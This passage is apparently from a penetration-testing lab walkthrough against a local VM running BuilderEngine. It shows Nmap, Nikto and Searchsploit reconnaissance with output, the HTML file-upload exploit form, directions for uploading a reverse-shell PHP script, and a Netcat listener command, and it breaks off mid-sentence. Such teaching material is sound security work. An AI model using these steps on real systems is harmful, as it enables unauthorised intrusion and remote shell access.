

option while using Nmap gives more details about the services, like the service versions, etc, and a list of possible victim operating systems. So give the command:

```
nmap -A <victim-ip>
```

As the http service has been chosen for the attack, more information regarding the Web application hosted must be gathered. Therefore, we use Nikto.

Nikto is a Web scanner. It scans the Web server for dangerous files, outdated software and other files that can be used to attack the server. Give the following command:

```
nikto -host <victim-ip>
```

Nikto takes the default target port as 80. This can be changed by adding the `-port` option, as follows:

```
nikto -host <victim-ip> -port <target-port>
```

As most websites use some standard software to develop their Web applications, the vulnerabilities of this software can be used against the Web application. From the screenshot in Figure 2, the `license.txt` file can be used to find the site software.

From Figure 4, we infer that the Web application has been developed using BuilderEngine software.

Gaining user access

The attack begins by searching for the known vulnerabilities that have been exploited in the past. There is a website called `exploitdb.com`, which keeps track of all the vulnerabilities that have been exploited previously along with the exploit code. This data is available, by default, in the standard GNOME build on Kali Linux. A tool called Searchsploit can be used to access this data, as follows:

```
searchsploit <Software-name>
```

```
root@kali:~# nmap 192.168.187.140
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-08 18:49:32 GMT
Nmap scan report for 192.168.187.140
Host is up (0.00058s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
110/tcp   open  pop3
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
993/tcp   open  imaps
995/tcp   open  pop3s
8080/tcp   open  http-proxy
MAC Address: 08:0C:29:A9:C4:1A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.61 sec
```

Figure 1: Nmap result

```
root@kali:~# nikto -host 192.168.187.140
- Nikto v2.1.6
+ Target IP: 192.168.187.140
+ Target Hostname: 192.168.187.140
+ Target Port: 80
+ Start Time: 2018-01-08 18:49:32 (GMT5.5)
+ Server: Apache/2.4.7 (Ubuntu)
```

Figure 2: Nikto result 1

```
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 7536 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2018-01-20 10:41:16 (GMT5.5) (9 seconds)
```

Figure 3: Nikto result 2

```
192.168.187.140/license.txt
Most Visited Offensive Security Kali Linux Kali Docs
The MIT License (MIT)
Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.
```

Figure 4: Website information

```
root@kali:~# searchsploit BuilderEngine
Exploit Title | Path
BuilderEngine 3.5.4 - Arbitrary File Upload | php/webapps/46390.php
BuilderEngine 3.5.4 - Arbitrary File Upload and Execution | php/remote/42023.rb
root@kali:~# cp /usr/share/exploitdb/platforms/php/webapps/46390.php exp.php
```

Figure 5: Searchsploit result

```
<html>
<body>
<form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/"
enctype="multipart/form-data">
  <input type="file" name="files[]" />
  <input type="submit" value="send" />
</form>
</body>
</html>
```

Figure 6: The exploit

Next, copy the exploit to the current directory. The exploit reveals that the software has an Unauthenticated Unrestricted File

Upload vulnerability. As the name suggests, any file can be uploaded to the Web server without any authentication. According to the exploit code, any file can be uploaded to the `/themes/dashboard/assets/plugins/jquery-file-upload/server/php/` folder.

Change the localhost to the victim's IP address in `exp.php` before using it.

Exploiting the vulnerabilities

Any file can be uploaded to the server but if a code snippet that can provide shell access to the Web server is uploaded, it would be more dangerous. This can be done by binding either shell or reverse shell access. In the case of the former, the shell is bound to an unused port on the victim machine and the attacker connects to that port. In the case of reverse shell, the victim machine sends the shell access to a port on the attacker machine (Kali Linux). Here, reverse shell access is used. Reverse shell and bind shell access code can be found at `pentestmonkey.net`.

Figure 7 shows reverse shell code. Modify the `$ip` to the attacker IP address and `$port` to the attacker port to send the connection.

The screenshots in Figures 8 and 9 confirm that the reverse shell code has been uploaded and can be accessed at `http://192.168.187.140/files/rev-shell.php`.

Netcat

Netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP. We use the Netcat listener to listen for connections on port 1234. Now give the command:

```
nc -lvp <attacker-port-given-in-rev-shell.php>
```

The `-l` option is for listening, `-v` is for verbose, and `-p` is for port number.

From the screenshot in Figure 10, we can see user level access to the